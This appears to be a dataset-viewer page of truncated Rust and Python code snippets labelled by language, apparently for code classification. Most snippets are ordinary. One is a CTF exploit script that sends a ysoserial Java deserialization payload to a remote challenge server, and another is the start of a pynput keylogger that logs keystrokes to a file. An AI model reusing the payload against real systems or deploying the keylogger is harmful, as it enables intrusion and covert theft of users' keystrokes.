text string | label_name string | labels int64 |
|---|---|---|
: udp::Writer<E>> {
inner: Arc<DeviceInner<E, C, T, B>>,
}
impl<E: Endpoint, C: Callbacks, T: tun::Writer, B: udp::Writer<E>> Clone for Device<E, C, T, B> {
fn clone(&self) -> Self {
Device {
inner: self.inner.clone(),
}
}
}
impl<E: Endpoint, C: Callbacks, T: tun::Writer, B: ud... | Rust | 0 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from database import FileIndexer
def rebuild_and_test():
print("=== RECONSTRUINDO E TESTANDO ===")
indexer = FileIndexer()
# Reconstruir o índice
indexer.rebuild_search_index_with_normalization()
# Verificar imediatamente após reconstrução
ind... | Python | 1 |
ting::mock::{Data, Hasher64, KeyBox},
units::{ControlHash, FullUnit, PreUnit, SignedUnit, UnitCoord, UnitStore},
NodeCount, NodeIndex, Round, Signed,
};
async fn create_unit<'a>(
round: Round,
node_idx: NodeIndex,
count: NodeCount,
session_id: u64,
keybox... | Rust | 0 |
#!/usr/bin/env python
"""
@author : Daojun Liang
@email : daojunliang@gmail.com
@time : 2022/7/27 15:38
@desc : PeriodAttention.py
"""
from operator import mod
import torch
import torch.nn as nn
class PeriodAttention(nn.Module):
def __init__(self, period=None, scale=0.45, attention_dropout=0., output_attenti... | Python | 1 |
(req.data, req.wait);
let res = ServerShared::run_tick(&self.shared, |state, tick| {
state.inst.propose_entry(data, tick)
});
// Ideally cascade down to a result and an error type
if let Ok(prop) = res {
Ok((wait, self.shared.clone(), prop))
}
else {
println!("propose result: {:?}", res... | Rust | 0 |
# SPDX-FileCopyrightText: 2018 ladyada for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
:py:class:`~adafruit_mcp3xxx.adafruit_mcp3xxx.MCP3xxx`
============================================================
CircuitPython Library for MCP3xxx ADCs with SPI
* Author(s): ladyada, Brent Rubell
Implementation No... | Python | 1 |
with("desc") {
return Ok(None);
}
let path_str: &str = child.as_ref();
let call = get_prop_call(path_str, BLUEZ_DEST, BLUEZ_DES_IF, "UUID");
let res = conn.send_msg_w_rsp(&call).await?.await?;
let uuid_str = match is_msg_err::<BluezOptions>(&res) {
Ok(Blue... | Rust | 0 |
&mut self,
file: F,
priority: Priority,
strategy: DuplicateStrategy,
) -> Result<(), error::UclError> {
let file_path = utils::to_c_string(file.as_ref().to_string_lossy());
let result = unsafe {
ucl_parser_add_file_full(
self.parser,
... | Rust | 0 |
-radius: 15px;
margin: 1rem 0;
border-left: 4px solid #1f77b4;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
transition: transform 0.3s ease;
}
.feature-card:hover {
transform: translateY(-2px);
}
/* 成功消息样式 */
... | Python | 1 |
.values(
student_list
.into_iter()
.map(|class_student_id| NewStudentClassAsynchronousTask {
class_student_id,
class_asynchronous_task_i... | Rust | 0 |
) + (f0 + f1) * 0.5) * width;
cdf[i + 1] = sum;
}
sum
}
pub fn invert_catmull_rom(n: usize, x: &[Float], values: &[Float], u: Float) -> Float {
// Stop when u is out of bounds
if !(u > values[0]) {
return x[0];
} else if !(u < values[n - 1]) {
return x[n - 1];
}
/... | Rust | 0 |
import sqlite3
from datetime import datetime, timedelta
def check_and_insert_messages():
# Подключаемся к базе данных
print("Подключение к базе данных...")
conn = sqlite3.connect('my_database.db')
cursor = conn.cursor()
print("Подключение к базе данных выполнено успешно.")
# Получаем список в... | Python | 1 |
mut x148: u32 = 0;
let mut x149: fiat_p256_u1 = 0;
fiat_p256_addcarryx_u32(&mut x148, &mut x149, x147, x36, x137);
let mut x150: u32 = 0;
let mut x151: fiat_p256_u1 = 0;
fiat_p256_addcarryx_u32(&mut x150, &mut x151, x149, x37, x138);
let mut x152: u32 = 0;
let mut x153: fiat_p256_u1 = 0;
fiat_p256_addc... | Rust | 0 |
tool_response = db_client.query(arguments["query"])
return [types.TextContent(type="text", text=str(tool_response))]
return [types.TextContent(type="text", text=f"Unsupported tool: {name}")]
except Exception as e:
logger.error(f"Error executing tool {na... | Python | 1 |
pub r#type: u32,
pub timestamp: u32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct SDL_UserEvent {
pub r#type: u32,
pub timestamp: u32,
pub windowID: u32,
pub code: i32,
pub data1: *mut c_void,
pub data2: *mut c_void,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct SDL_SysWMEvent {
pub... | Rust | 0 |
j_center.1 + from_offset_y + k * step_y;
path_points.push(super::unproj(ensures_x_is_positive(x), y));
}
}
/// Computes a list of positions on the edge of a given HEALPix cell on the unit sphere.
///
/// # Input
/// - `hash`: the hash value of the cell we look for side path on the unit sphere.
/... | Rust | 0 |
Send + Sync {
/// send results back to hcomb
async fn send_back(
&self,
query_id: String,
data: Result<Vec<RecordBatch>>,
address: HCombAddress,
) -> Result<()>;
}
pub struct NoopCollector {}
#[async_trait]
impl Collector for NoopCollector {
async fn send_back(
... | Rust | 0 |
672900770810745291515010467307990
// c1[2] = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888253786114353726529584385201591605722013126468931404347949840543007986327743462853720628051692141265303114721689600
// c1[3] = 232068343981151821061001602678087846... | Rust | 0 |
nt...")
# obs fusion
desired_pos_b = get_desired_pos_b(obs["policy"]['root_pos_w'], obs["policy"]['root_quat_w'], env.desired_pos_w)
num_obs = torch.cat(
[
obs['policy']['root_lin_vel_b'],
obs['policy']['root_ang_ve... | Python | 1 |
#!/usr/bin/env python
import mydata1
import mydata2
def insertTest():
# create instance of TData with a reference to an instance of AsdfData
a = mydata1.AsdfData(aaaa='rr', bbbb='yy')
t = mydata1.TData(ttt='asdfasdf', asdf=a)
# create instance of OtherData with reference to instance of TData above
s = mydata2.... | Python | 1 |
import pandas as pd
from covid_updater.iso import ISODB
from covid_updater.utils import export_data
COUNTRY = "Canada"
COUNTRY_ISO = "CA"
OUTPUT_FILE = f"data/countries/{COUNTRY}.csv"
DATA_URL_1 = "https://raw.githubusercontent.com/ccodwg/Covid19Canada/master/timeseries_prov/vaccine_administration_timeseries_prov.csv... | Python | 1 |
.folder) / args.output
# wrap it
model = torch.jit.load(args.input)
wrapper = RAVEModelWrapper(model)
soundpairs = None
if args.sounds is not None:
soundpairs = []
for sound in args.sounds:
wave, sr = torchaudio.load(sound)
input_sample = AudioSample(wave, s... | Python | 1 |
import collections, itertools
import os, shutil, re
import json
import time
def load_json(file_path, object_hook=None):
with open(file_path, "r", encoding="utf-8") as f:
return json.load(f, object_hook=object_hook)
def print_json(json_data):
print(json.dumps(json_data, indent=4, ensure_ascii=False))
... | Python | 1 |
from errors import NotFoundError
import functools
from . import indi_property
def with_indi_device(f):
@functools.wraps(f)
def f_wrapper(self, *args, **kwargs):
self.find_indi_device()
return f(self, *args, **kwargs)
return f_wrapper
class Device:
def __init__(self, client, logger, in... | Python | 1 |
# Copyright Materialize, Inc. and contributors. All rights reserved.
#
# Use of this software is governed by the Business Source License
# included in the LICENSE file at the root of this repository.
#
# As of the Change Date specified in that file, in accordance with
# the Business Source License, use of this software... | Python | 1 |
import time
import embodied
import numpy as np
import pygame
NORMAL = (128, 128, 128)
PAUSED = (255, 0, 0)
REWARD = (0, 255, 0)
KEY_PAUSE = pygame.K_p
KEY_CONTINUE = pygame.K_c
KEY_RESET = pygame.K_r
class KBReset(embodied.Wrapper):
def __init__(self, ctor, mouse=False):
super().__init__(ctor())
self._c... | Python | 1 |
"""
Base cloud storage interface and configuration.
This module defines the abstract interface that all cloud storage providers
must implement, ensuring consistency across different providers.
"""
from abc import ABC, abstractmethod
from typing import Callable, Dict, Optional
from pydantic import BaseModel, ConfigDic... | Python | 1 |
.short("f")
.long("instructions")
.help("instructions to run. Reads from stdin otherwise")
.takes_value(true))
.get_matches();
let source = matches.value_of_os("instructions");
let mut contents = String::new();
match source {
Some(filename) => {
... | Rust | 0 |
#!/usr/bin/env python3
from pwn import *
#p = remote("localhost", 31337)
p = remote("challs.crate.nu", 31337)
p.recvuntil(b"> ")
# payload generated with:
# java -jar ysoserial-all.jar CommonsCollections5 "cp /flag.txt /tmp/dblog.txt" | base64 -w0
ysoserial_payload = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0... | Python | 1 |
re the Rocks DB Database.
rocksdb_location: String,
/// Whether or not to skip historical imports.
skip_historical_imports: bool,
/// Only attempts to load the latest import.
only_load_final: Option<bool>,
}
impl Settings {
/// Creates a new settings object.
pub fn new() -> Self {
let mut base_config... | Rust | 0 |
BedroomAbvGr']
},
'KitchenQual': {
'input_type': 'selectbox',
'label': 'Kitchen Quality',
'options': [
'Poor',
'Fair',
'Typical/Average',
'Good',
'Excellent'
],
'help_text': feature_metadata['KitchenQual']
},... | Python | 1 |
"""Game state and rules engine."""
class Player:
"""
Represents a player in the game, with deck, hand, battlefield, and life total.
"""
def __init__(self, deck):
self.deck = deck
self.hand = []
self.battlefield = []
self.life = 20
self.lands_played = 0
class Gam... | Python | 1 |
API to to send the account activation email using account activation cta.
"""
authentication_classes = (SessionAuthenticationAllowInactiveUser,)
permission_classes = (IsAuthenticated,)
def post(self, request, **kwargs): # lint-amnesty, pylint: disable=unused-argument
"""
Returns statu... | Python | 1 |
msg.reply_to_message.from_user.id
first = await bot.get_chat(uid)
if sql_update_emby(Emby.tg == uid, lv='b'):
await asyncio.gather(sendMessage(msg,
f"🤖 很遗憾 [{first.first_name}](tg://user?id={uid}) 被 [{msg.from_user.first_name}](tg://user?id={msg.from_user.i... | Python | 1 |
# -*- coding: utf-8 -*- #
# Copyright 2022 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | 1 |
ate::Annotation {
lang: "lb",
tts: Some("Handye verbueden"),
keywords: &[
"Funk",
"Handy",
"Handye verbueden",
"Mobil",
"Telefon",
"keen",
"neen",
"net",
... | Rust | 0 |
#!/usr/bin/env python3
"""
Test ESC key to close settings window
"""
import time
from src.debug.game_debug_client import GameDebugClient
def test_settings_close():
"""Test closing settings window with ESC key"""
client = GameDebugClient()
if not client.wait_for_api():
print("❌ API not rea... | Python | 1 |
from django.contrib import admin
from django.contrib.flatpages.admin import (
FlatPageAdmin as DefaultFlatPageAdmin)
from django.contrib.flatpages.forms import FlatpageForm as DefaultFlatPageForm
from django.contrib.flatpages.models import FlatPage
from markdownx.widgets import AdminMarkdownxWidget
from reversion.a... | Python | 1 |
def even_generator(limit):
for i in range(2,limit+1,2):
yield i
for num in even_generator(10):
print(num)
| Python | 1 |
def divisor(x):
def dividend(y):
return y / x
return dividend
divide = divisor(2)
print(divide(10)) | Python | 1 |
):
container.mux(packet)
for img in video_array:
frame = av.VideoFrame.from_ndarray(img, format="rgb24")
frame.pict_type = "NONE"
for packet in stream.encode(frame):
container.mux(packet)
# Flush stream
for packet in stream.en... | Python | 1 |
let mut sink = self.mk_recursor(
ns,
nums,
lis,
mos,
mas,
indices_tl,
mnr_tl,
rr_tl,
live
);
... | Rust | 0 |
AD_TO_S3 | "0"
//!
//! ### JWT
//!
//! Environment Variable | Default
//! ------------------------------------ | -------
//! TOKEN_EXPIRATION_SECONDS_INTO_FUTURE | "2592000"
//! TOKEN_ORG | example.org
//! TOKEN_HEADER | Bearer
//! TOKEN_ALGO_PRIVATE_KE... | Rust | 0 |
()> {
let length = length.try_into().map_err(|_overflow_err| io::Errno::FBIG)?;
unsafe { ret(libc_ftruncate(borrowed_fd(fd), length)) }
}
#[cfg(any(target_os = "android", target_os = "freebsd", target_os = "linux"))]
pub(crate) fn memfd_create(path: &CStr, flags: MemfdFlags) -> io::Result<OwnedFd> {
#[cfg(... | Rust | 0 |
, between the commit hash and the
//! commit message.
use std::collections::{HashMap, HashSet};
use std::convert::TryInto;
use std::ops::Add;
use std::time::{Duration, SystemTime};
use cursive::theme::BaseColor;
use cursive::utils::markup::StyledString;
use fn_error_context::context;
use lazy_static::lazy_static;
use... | Rust | 0 |
from task import Task
class Todolist:
def __init__(self):
self.tasks = []
self.next_id = 1
def add_task(self, title: str, description : str = ""):
task = Task(self.next_id, title, description)
self.tasks.append(task)
self.next_id += 1
print(f"Tâche '{ti... | Python | 1 |
')
print("Loading data... (this may take a while)")
train, val, data_paths = \
LM1b.splits(fields=(trg_field,),
data_dir=data_dir,
filter_pred=filter_pred)
# fields = [('trg', trg_field)]
# data_paths = glob.glob(data_dir + '/e... | Python | 1 |
HashSet<&str> = dead_node_ids.iter().map(String::as_str).collect();
info!("removing dead nodes2");
remove_dead_nodes(&mut output_subgraph, &dead_node_ids);
info!("removing dead edges2");
remove_dead_edges(&mut output_subgraph);
info!("remapping nodes2");
remap_nodes(&m... | Rust | 0 |
# -*- coding: utf-8 -*-
# Scrapy settings for csdnblog project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# https://doc.scrapy.org/en/latest/topics/settings.html
# https://doc.scrapy.org/en/latest/topi... | Python | 1 |
import logging
from pcapi import settings
from pcapi.core import mails
from pcapi.core.bookings.models import Booking
from pcapi.core.mails import models
from pcapi.core.mails.transactional.sendinblue_template_ids import TransactionalEmail
logger = logging.getLogger(__name__)
def get_booking_cancelled_unilaterally... | Python | 1 |
'(y, x)': (isize, &str)
98..99 'y': isize
101..102 'x': &str
113..114 'd': ((isize, &str), &str)
117..123 '(c, x)': ((isize, &str), &str)
118..119 'c': (isize, &str)
121..122 'x': &str
133..134 'e': (i32, &str)
137..145 '(1, "e")': (i32, &str)
138..139 '1': i32
141..144 '"e"': &... | Rust | 0 |
" " + m.group(3)
def _c_unit_nbsp_avant_unités2_3 (sSentence, sSentence0, m, dTokenPos, sCountry, bCondMemo):
return not bCondMemo
def _c_unit_nbsp_avant_unités3_1 (sSentence, sSentence0, m, dTokenPos, sCountry, bCondMemo):
return (m.group(2).__len__() > 4 and not _oSpellChecker.isValid(m.group(3))) or morph(dT... | Python | 1 |
# coding=utf-8
from keras.models import *
from keras.layers import *
def Segnet(nClasses, input_height=224, input_width=224):
inputs = Input(shape=(input_height, input_width, 3))
#Encoder
# 224x224
conv1 = Conv2D(32, (3, 3), activation='relu', padding='same')(inputs)
conv1 = BatchNormalization()(co... | Python | 1 |
import pandas as pd
path = "/home/shis/Desktop/desktop folders/python project/DATABASE/ADMINCABIN/Users.xlsx"
edf = pd.read_excel(path,engine="openpyxl")
Ulist = []
print("Welcome to ADMIN Panel")
username = input("Enter your username: ")
uedf = edf["username"]
print(uedf)
for i in uedf:
Ulist.append(i)
# Check if ... | Python | 1 |
from pynput import keyboard
import requests
LOG_FILE = "keylog_pc.txt"
log_data = ""
count = 0
def load_config():
config = {}
with open("config.txt") as f:
for line in f:
if "=" in line:
key, val = line.strip().split("=", 1)
config[key.strip()] = val.strip(... | Python | 1 |
:field::Value as SamValue;
let mut sam_fields = Vec::new();
for result in data.fields() {
let field = result.map_err(|_| TryFromDataError::InvalidField)?;
let tag = field.tag();
let value = match field.value() {
BamValue::Char(c) => SamValue::Char(*... | Rust | 0 |
p_dto.entity_types.clone() {
let property_entity_types = item.into_iter().map(TransactionType::from).collect();
if p_dto.property_type == AccountPropertyType::AllowTransaction.value() {
allowed_entity_types = property_entity_types;
} else {
... | Rust | 0 |
1;
// Some(item)
// }
// }
<reponame>AnderEnder/rusoto
// =================================================================
//
// * WARNING *
//
// This file is generated!
//
// Changes made to this file will be overwritten. If changes are
// required to the g... | Rust | 0 |
}
acc
})
} else {
array
.values_iter()
.fold(None, |mut acc: Option<&str>, item| {
if let Some(acc) = acc.as_mut() {
if cmp(acc, item) {
*acc = item
}
} else ... | Rust | 0 |
let text = build_text("アイウアイウアイ");
let path = vec![
build_node_aiu(0, 9, 5562),
build_node_aiu(9, 18, 12578),
build_node_ai(18, 24, 19594),
];
plugin.min_length = 3;
let path = plugin
.rewrite(&text, path, &Lattice::default())
.expect("Failed to rewrite path"... | Rust | 0 |
)
# Cannot make a StringDType array from a numeric numpy array.
numpy_int_array = np.arange(2, dtype=np.int32)
with self.assertRaisesRegex(
TypeError,
r"Cannot make an array with dtype StringDType.*from an object with"
r" dtype int32.",
):
jnp.asarray(
numpy_int_... | Python | 1 |
with worker
///
/// Requires:
/// 1. Ther worker is alerady registered
pub fn bind(miner: T::AccountId, pubkey: WorkerPublicKey) -> DispatchResult {
let now = <T as registry::Config>::UnixTime::now()
.as_secs()
.saturated_into::<u64>();
ensure!(
registry::Worker::<T>::contains_key(&pubkey),
... | Rust | 0 |
from functools import wraps
from types import FunctionType
from Script.Core import cache_control, constant, constant_promise, game_type, get_text
from Script.Config import game_config
cache: game_type.Cache = cache_control.cache
""" 游戏缓存数据 """
_: FunctionType = get_text._
""" 翻译api """
def add_premise(premise: str) -... | Python | 1 |
ug format
"The area of {:?} is {} square pixels.",
rect1,
rect1.area() // equivalent to area(&rect1)
);
let rect1 = Rectangle {
width: 30,
height: 50,
};
let rect2 = Rectangle { // smaller than rect1
width: 10,
height: 40,
};
let rect3 = R... | Rust | 0 |
t, key, data2, protocol="https")
t2 = time.time()
print " -- Checking..."
for key in keys:
assert disk.exists(audit, key, protocol="http")
assert disk.exists(audit, key, protocol="https")
t3 = time.time()
print " <- Reading..."
for key in keys:
assert disk.get(audit, ke... | Python | 1 |
raise ValueError('Mismatch: len(T)!=Z.shape[0] + 1.')
n_clusters = int(xp.unique_values(T).shape[0])
n_obs = int(Z.shape[0] + 1)
L = np.zeros(n_clusters, dtype=np.int32)
M = np.zeros(n_clusters, dtype=np.int32)
Z = np.asarray(Z)
T = np.asarray(T, dtype=np.int32)
s = _hierarchy.leader... | Python | 1 |
mm_vm32y_ymm
0x2000_0136, 0x1100_0001,// VEX_Vpgatherdq_xmm_vm32x_xmm
0x2000_0136, 0x1100_0001,// VEX_Vpgatherdq_ymm_vm32x_ymm
0x2000_0037, 0x2D08_0002,// EVEX_Vpgatherdd_xmm_k1_vm32x
0x2000_0037, 0x2D08_0002,// EVEX_Vpgatherdd_ymm_k1_vm32y
0x2000_0038, 0x1E08_0002,// EVEX_Vpgatherdd_zmm_k1_vm32z
0x2000_0037, 0x2... | Rust | 0 |
,shì"),
('𠬆', "guàn"),
('𠬈', "bǐ"),
('𠬋', "xīng,nián"),
('𠬓', "zhěn"),
('𠬙', "sā"),
('𠬛', "mò"),
('𠬝', "fú"),
('𠬢', "tāo"),
('𠬣', "bàng"),
('𠬪', "biào"),
('𠬬', "xī"),
('𠬮', "jié"),
('𠬶', "jìn"),
('𠬾', "qiān"),
('𠭈', "sì"),
('𠭉', "jǐng"),
... | Rust | 0 |
"""Test cases for task management system."""
from typing import List
from unittest.mock import MagicMock, patch
import pytest
from genesis_agi.operators import (
TaskCreationOperator,
TaskExecutionOperator,
TaskPrioritizationOperator,
)
from genesis_agi.task_manager import Task, TaskManager
@pytest.fixt... | Python | 1 |
::*;
use server::component::flag::*;
use server::types::systemdata::*;
use server::types::GameModeWriter;
use server::utils::*;
use server::*;
use server::protocol::server::{PlayerReteam, PlayerReteamPlayer};
use component::*;
use config::*;
use consts::*;
use gamemode::CTFGameMode;
use shuffle::*;
#[derive(Default)... | Rust | 0 |
lkRule, LazyWalkReses, OutEnvHandle, walk};
use runtime::reify::Reifiable;
use alpha::{freshen, freshen_with};
/**
* This trait makes a type producable by positive and negative walks.
*/
pub trait WalkElt: Clone + Debug + Display + Reifiable {
fn from_ast(a: &Ast) -> Self;
fn to_ast(&self) -> Ast;
// Is... | Rust | 0 |
# Faça a definição de uma lista contendo os números de 1
# até 5. Finalmente, utilize o print() para exibir os valores da lista.
lista = [1,2,3,4,5]
print(lista)
lista_mista = ['Jeff', 29, True]
print(lista_mista)
lista_alfa = ['a', 'b', 'c', 'd', 'e']
print(lista_alfa)
print(15 * '--')
print('.append')
lista.append(1... | Python | 1 |
batch_size: int,
cache: Optional[_EmbedCache],
max_retries: int = 6,
base_sleep: float = 0.8) -> np.ndarray:
"""
批量生成文本向量(官方 /llm/v1/embeddings),带缓存 + 指数退避。失败抛异常给上层回退到 IDF。
所有参数(模型名/批大小/缓存路径)均由 config 提供。
"""
if embed_client is Non... | Python | 1 |
# Copyright (c) 2020-2022 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
#
# NVIDIA CORPORATION, its affiliates and licensors retain all intellectual
# property and proprietary rights in and to this material, related
# documentation and any modifications thereto. Any use, reproduction,
# disclosure or distribu... | Python | 1 |
ange_type
}
response = self._make_request("/api/dostk/rkinfo", "ka10040", data)
return response.get("today_mjr_trder", [])
def get_net_buy_trader_ranking(
self,
market_type: str = "001", # 001:코스피, 101:코스닥
sort_type: str = "1", # 1:순매수상위
volume_ty... | Python | 1 |
import numpy as np
import torch
import os
from autoforge.Helper.FilamentHelper import (
load_materials,
hex_to_rgb,
extract_colors_from_swatches,
swatch_data_to_table,
count_distinct_colors,
count_swaps,
)
from autoforge.Helper.OutputHelper import (
extract_filament_swaps,
generate_swap... | Python | 1 |
e' content='A Short Example'>
// <meta property='og:type' content='website'>
// <meta property='og:url' content='https://softannalee.github.io/examples/A Short Example'>
// <meta property='og:image' content='https://softannalee.github.io/examples/A Short Example/image.jpg'>
// <link rel='stylesheet' hre... | Rust | 0 |
ed in this context')
def _packConditions(self, *args, **kwargs):
raise SoftException('This method should not be reached in this context')
class _InnerAndGroupFormatter(GroupFormatter):
def _format(self, condition, event):
andResults = []
conditions = condition.getSortedItems()
... | Python | 1 |
Metrics>,
}
#[doc = r" Generated client implementations."]
pub mod keyword_plan_idea_service_client {
#![allow(unused_variables, dead_code, missing_docs)]
use tonic::codegen::*;
#[doc = " Service to generate keyword ideas."]
pub struct KeywordPlanIdeaServiceClient<T> {
inner: tonic::client::Grpc... | Rust | 0 |
import torch
from torch import nn
from Model.Virtual_GCN import Virtual_GCN, OD_Similarity
from torch.nn.functional import leaky_relu,relu
a = 0.2 # Leaky ReLU激活函数的负斜率参数
# 定义一个Prompter类, 继承自nn.Module (神经网络的基础模块)
class Prompter(nn.Module):
def __init__(self, dim_left, dim_right, dim_time, fit_E):
"""
... | Python | 1 |
_json::from_str(matches.value_of("payload").unwrap()).unwrap();
game_events(&payloads);
}
}
fn sniff(mode: &str, port: Option<u16>) {
if let Ok(interfaces) = packet_sniffer::network_interfaces() {
let (tx, rx): (Sender<UdpPacket>, Receiver<UdpPacket>) = channel();
packet_sniffer::receiv... | Rust | 0 |
datatype (str, optional): json, csv. Defaults to "json".
Returns:
dict: [
{
"symbol": "AMGN",
"name": "Amgen Inc.",
"sector": "Healthcare",
"subSector": "Healthcare",
"headQuarter": "Thousand Oaks, CA",
... | Python | 1 |
__WASI_EVENTTYPE_CLOCK => Some(SubscriptionEnum::Clock(unsafe { self.u.clock })),
__WASI_EVENTTYPE_FD_READ | __WASI_EVENTTYPE_FD_WRITE => {
Some(SubscriptionEnum::FdReadWrite(unsafe {
self.u.fd_readwrite
}))
}
_ => None,
... | Rust | 0 |
Profile>> {
let profile: Option<config::Value<TomlProfile>> =
ws.config().get(&format!("profile.{}", name))?;
let profile = match profile {
Some(profile) => profile,
None => return Ok(None),
};
let mut warnings = Vec::new();
profile
.val
.validate(name, ws.uns... | Rust | 0 |
t Exception as e:
print(f"Error delete key: {e}")
#Function to print all keys
def delete_key():
"""Deletes a key and all its chunks from the DAOS container."""
# Check if key exists
key = input("Enter new key: ")
pool, container = get_pool_and_container(key)
daos_cont = DCont(pool, cont... | Python | 1 |
ary])
with tf.name_scope('simulate'):
log = tf.convert_to_tensor(log)
reset = tf.convert_to_tensor(reset)
with tf.variable_scope('simulate_temporary'):
score = tf.Variable(tf.zeros(len(batch_env), dtype=tf.float32), False, name='score')
length = tf.Variable(tf.zeros(len(batch_env), dtype=tf.i... | Python | 1 |
cfg = copy.deepcopy(cfg)
# deprecate arguments warning
if 'nms' not in cfg or 'max_num' in cfg or 'nms_thr' in cfg:
warnings.warn(
'In rpn_proposal or test_cfg, '
'nms_thr has been moved to a dict named nms as '
'iou_threshold, max_num has been renamed as max_per_i... | Python | 1 |
u16) << 6)
| (self.swim_version as u16);
read_data[0] = (version >> 8) as u8;
read_data[1] = version as u8;
Ok(())
}
commands::GET_TARGET_VOLTAGE => {
read_data.pwrite(self.target_v... | Rust | 0 |
keys() }
}
}
/// An iterator over the values in a `OrderedSet`.
pub struct Entries<'a, T:'a> {
iter: ordered_map::Keys<'a, T, ()>,
}
impl<'a, T> Iterator<&'a T> for Entries<'a, T> {
#[inline]
fn next(&mut self) -> Option<&'a T> {
self.iter.next()
}
#[inline]
fn size_hint(&self) ->... | Rust | 0 |
import tkinter as tk
# Function starts from here
def click(event):
global expression
text = event.widget.cget("text")
if text == "=":
try:
result = str(eval(expression))
screen_var.set(result)
expression = result
except Exception:
screen_var.... | Python | 1 |
Ok(text)
}
}
#[derive(Clone, Debug)]
pub struct LinksList(pub Vec<String>);
impl LinksList {
pub fn parse(links: &[String]) -> LinksList {
LinksList(links.to_vec())
}
}
impl Deref for LinksList {
type Target = Vec<String>;
fn deref(&self) -> &Vec<String> {
&self.0
}... | Rust | 0 |
. . . .\n"))
.into_iter().map(|x| board_to_string(&x)).collect::<Vec<String>>(),
vec![
".W. .b.W\n \
.w.b. .\n\
. .B.b. \n \
.w.w. .\n\
. .w. . \n \
. .W. .\n\
. . . . \n \
. . . .\n",
".W. .b. \n \
.w.b.W.\n\
. .B.b. \n \
.w.w. .\n\
. .w.W. \n \
. . .... | Rust | 0 |
um_pos_to_neg*2: ]:
neg_doctext = get_doc_text( neg_docid, searcher=searcher)
if neg_doctext != None:
neg_doc_info.append( [neg_docid, neg_doctext] )
for neg_info in neg_doc_info[:num_pos_to_neg]:
qid_hardnegs_dict[qid].append( neg_info[1] )
# =======... | Python | 1 |
# -*- coding: utf-8 -*- #
# Copyright 2025 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | 1 |
from unittest.mock import MagicMock
from unittest.mock import patch
import cartography.intel.aws.ec2.network_interfaces
from cartography.intel.aws.ec2.network_interfaces import sync_network_interfaces
from tests.data.aws.ec2.network_interfaces import DESCRIBE_NETWORK_INTERFACES
from tests.integration.cartography.intel... | Python | 1 |
};
let request = WebmachineRequest {
headers: hashmap! {
"Accept-Charset".to_string() => vec![
h!("ISO-8859-1"),
h!("UTF-8;q=0.8"),
h!("US-ASCII;q=0.7")
]
},
..WebmachineRequest::default()
};
expect!(matching_charset(&resource1, &request)).to(be_some().value("ISO-... | Rust | 0 |
[doc = " - (<0): Error code of the driver xstats reset function."]
pub fn rte_eth_xstats_reset(port_id: u16) -> ::std::os::raw::c_int;
}
extern "C" {
#[doc = " Set a mapping for the specified transmit queue to the specified per-queue"]
#[doc = " statistics counter."]
#[doc = ""]
#[doc = " @param... | Rust | 0 |
BESTAnP', 'CombineCIO', 'BESTAnPCIO', 'Nonapp', 'App']
trajectory_shape = ['square', 'circle', 'eight']
large_size_size = 2
random_seeds = [i for i in range(large_size_size)]
all_results = np.zeros((len(random_seeds), len(methods)*len(trajectory_shape), 4)) # (seed_num, methods, metrics)
for seed_n... | Python | 1 |
}
}
log::info!("setting language to [{}]", lang);
}
async fn get_manifest(ctx: &Context, info_line: &JigInfoLogLine) -> SrcManifest {
let ctx = &ctx;
log::info!("loading manfiest for game_id: {}, jig_id_string: {}, game_hash: {}",
info_line.game_id,
info_line.jig_id,
info_lin... | Rust | 0 |
sender, &connected_users, session_time, &scheduled_updates)?;
// We aim to keep every tick the same consistent length.
// In order to achieve that, we'll sleep only as long as we still have time budget left over
// after every loop.
let tick_time_at_end = Instant::now();
let tic... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.